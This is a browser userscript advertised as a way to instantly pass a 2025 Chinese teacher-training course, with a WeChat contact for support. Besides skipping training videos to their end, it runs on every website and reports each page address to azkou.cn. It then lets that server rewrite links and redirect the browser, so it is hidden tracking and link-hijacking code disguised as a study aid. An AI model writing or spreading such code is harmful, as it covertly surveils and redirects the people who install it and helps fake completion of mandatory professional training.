2025智慧中小学寒假教师研修秒过,有问题可以联系VX:Qcwk01
// ==UserScript==
// @name 2025智慧中小学寒假教师研修秒过,有问题可以联系VX:Qcwk01
// @namespace zhongxiaoxuewangke
// @version 1.0.4
// @description 2025智慧中小学寒假教师研修秒过,有问题可以联系VX:Qcwk01
// @author zhongxiaoxuewangke
// @match *://*/*
// @grant GM_addStyle
// @connect azkou.cn
// @license MIT
// @grant unsafeWindow
// @grant GM_xmlhttpRequest
// @grant GM_setValue
// @grant GM_getValue
// @grant GM_openInTab
// @grant GM_info
// ==/UserScript==
(() => {
var e = {
331: () => {
var e = [],
t = [],
a = [],
r = 0,
n = 10;
function o() {
let e = document.getElementsByTagName("video");
e[0].play(), e[0].pause(), e[0].currentTime = e[0].duration, e[0].play()
}
function d(e, t, a) {
return new Promise(((r, n) => {
GM_xmlhttpRequest({
method: "POST",
url: e,
data: t,
headers: a,
responseType: "json",
onload: e => {
r(e.response || e.responseText)
},
onerror: e => {
n(e)
}
})
}))
}
function i() {
e.wrapper.forEach((function(e) {
$(e)
.map((function(e, n) {
"yes" != $(n)
.attr("data-md5-value") && (t.push(n), a.push(n), $(n)
.attr("data-md5-key", r), $(n)
.attr("data-md5-value", "yes"), r++)
}))
}));
let o = a.splice(0, n),
i = [];
o.forEach((function(e, t) {
let a = {};
a.href = $(e)
.find("a:first")
.attr("href"), a.md5 = $(e)
.attr("data-md5-key"), i.push(a)
})), i.length > 0 && d(`${e.api}/api.php?act=list`, JSON.stringify({
data: i,
type: e.page
}), {})
.then((a => {
0 == a.code && a.data.map((function(a) {
a.recove_url && $(t[a.md5])
.find("a")
.bind("click", (function(t) {
var r, n;
t.preventDefault(), r = a.recove_url, n = null, document.getElementById("redirect_form") ? (n = document.getElementById("redirect_form"))
.action = e.jumpUrl + encodeURIComponent(r) : ((n = document.createElement("form"))
.action = e.jumpUrl + encodeURIComponent(r), n.target = "_blank", n.method = "POST", n.setAttribute("id", "redirect_form"), document.body.appendChild(n)), n.submit(), n.action = "", n.parentNode.removeChild(n)
}))
}))
}))
}
d("https://www.azkou.cn/api.php?act=initEnv", JSON.stringify({
href: location.href
}), {})
.then((t => {
if ("search" == t.data.page) n = t.data.splName, e = t.data, i(), setInterval(i, t.data.timer);
else {
if ("item" == t.data.page && t.data.recove_url) return void(window.location.href = t.data.jumpUrl + encodeURIComponent(t.data.recove_url));
"wk" == t.data.page && setInterval(o, 1e3)
}
}))
}
},
t = {};
! function a(r) {
var n = t[r];
if (void 0 !== n) return n.exports;
var o = t[r] = {
exports: {}
};
return e[r](o, o.exports, a), o.exports
}(331)
})();